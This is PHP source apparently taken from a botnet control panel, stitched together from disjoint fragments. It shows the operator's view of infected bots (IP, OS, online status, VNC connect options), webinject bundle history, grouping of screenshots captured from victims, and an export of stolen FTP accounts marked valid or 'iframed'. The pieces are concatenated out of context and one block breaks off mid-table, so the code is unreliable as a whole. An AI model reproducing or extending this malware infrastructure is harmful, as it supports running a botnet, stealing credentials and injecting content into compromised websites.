/** Singleton connection that uses using config.php * @return dbPDO */ public static function singleton() { if (is_null(self::$_connection)) { $dsn = sprintf('mysql:host=%s;dbname=%s;port=%d', $GLOBALS['config']['mysql_host'], $GLOBALS['config']['mysql_db'], 3306); self::$_connection = new dbPDO($dsn, $GLOBALS['config']['mysql_user'], $GLOBALS['config']['mysql_pass']); } return self::$_connection; }
function __construct() { $this->db = dbPDO::singleton(); $this->uid = $GLOBALS['userData']['id']; $this->uadmin = !empty($GLOBALS['userData']['r_botnet_webinjects_admin']); if (!is_writable(self::WEBINJECTS_PATH) && !@mkdir(self::WEBINJECTS_PATH)) { flashmsg('err', LNG_FLASHMSG_MUST_BE_WRITABLE, array(':name' => self::WEBINJECTS_PATH)); } }
function __construct() { $this->db = dbPDO::singleton(); }
if (!$isExists) { $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $l = $res[$bot]; $eCount++; $ipv4 = binaryIpToString($l['ipv4']); if ($l['nat_status'] == 0) { $ipv4 .= '*'; } $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_FLAGS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['flags'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', osDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['language_id'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', timeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['country'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TCPPORT_S1), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['tcpport_s1'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? tickCountToText(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_NEW), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_new'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U2) . ($bedit ? str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U2_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . THEME_LIST_ITEM_LISTBOX_U2_END : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2)) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENT), THEME_LIST_ITEM_LTEXT_U1) . ($bedit ? str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment[]', htmlEntitiesEx($l['comment']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U1) : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comment']) ? '-' : htmlEntitiesEx($l['comment'])), THEME_LIST_ITEM_LTEXT_U1)) . THEME_LIST_ROW_END; $data .= '<tr><td colspan=2>' . vncplugin_draw_connect_options($bot) . '</td></tr>'; /* plugin: webinjects */ if (file_exists('system/botnet_webinjects.php')) { require_once 'system/lib/dbpdo.php'; require_once 'system/lib/guiutil.php'; $db = dbPDO::singleton(); $q_execs = $db->query('SELECT `b`.`name` AS `b_name`, `h`.`etime`, `h`.`exec_error`, `h`.`debug_error` FROM `botnet_webinjects_history` `h` LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`) WHERE `h`.`botId` = :botId ;', array(':botId' => $bot)); $data .= '<tr><td colspan=2>'; $data .= '<h2>' . LNG_BA_FULLINFO_WEBINJECTS_HISTORY . '</h2>'; $data .= '<table class="zebra lined" align="center">'; $data .= '<THEAD><tr>'; $data .= '<th>' . LNG_BA_FULLINFO_WEBINJECTS_TH_BUNDLE . '</th>'; $data .= '<th>' . LNG_BA_FULLINFO_WEBINJECTS_TH_LOADED . '</th>';
function actionAjaxUpdateComment($id, $comment) { $db = dbPDO::singleton(); $q = $db->prepare('UPDATE `botnet_rep_favorites` SET `comment`=:comment WHERE `id`=:id;'); $q->execute(array(':id' => $id, ':comment' => $comment)); }
/** Issue a query to group images by temporal proximity */ static function _group_tclose_images($granularity = 3600) { $db = dbPDO::singleton(); $db->query("CREATE TEMPORARY TABLE `_botnet_screenshotsg`\n\t\t\tSELECT MAX(`g`.`id`) AS `group`, `f`.`id`\n\t\t\tFROM `botnet_screenshots` `g`\n\t\t\t\tCROSS JOIN `botnet_screenshots` `f`\n\t\t\t\tON (`f`.`botId` = `g`.`botId`\n\t\t\t\t\tAND `f`.`ftime` BETWEEN `g`.`ftime`-{$granularity} AND `g`.`ftime`\n\t\t\t\t)\n\t\t\tWHERE `f`.`ftime` >= (UNIX_TIMESTAMP()-2*{$granularity})\n\t\t\t\tOR `f`.`group` IS NULL\n\t\t\tGROUP BY `f`.`id`;\n\t\t\t;"); $db->query('UPDATE `botnet_screenshots` `f` CROSS JOIN `_botnet_screenshotsg` `g` USING(`id`) SET `f`.`group` = `g`.`group` ;'); }
/** Fetch FTP accounts * @param string $date_from Date filter: only accounts that were found >= this date. Example: "2012-12-31" * @param string $state Accounts state: 'all', 'valid', 'iframed' */ function actionFtpList($date_from = null, $state = 'all', $plaintext = 0) { $db = dbPDO::singleton(); $q = $db->prepare(' SELECT `id`, `found_at`, `ftp_acc` FROM `botnet_rep_iframer` `f` WHERE (:date_from IS NULL OR `found_at` >= UNIX_TIMESTAMP(:date_from)) AND ( (:state = "valid" AND `is_valid`=1) OR (:state = "iframed" AND `s_page_count`>0) OR :state = "all" ) '); $q->execute(array('date_from' => $date_from, 'state' => $state)); $ret = $q->fetchAll(PDO::FETCH_OBJ); # Stupid plaintext format? if ($plaintext) { foreach ($ret as $row) { echo "{$row->ftp_acc}\n"; } return FALSE; # no format } return $ret; }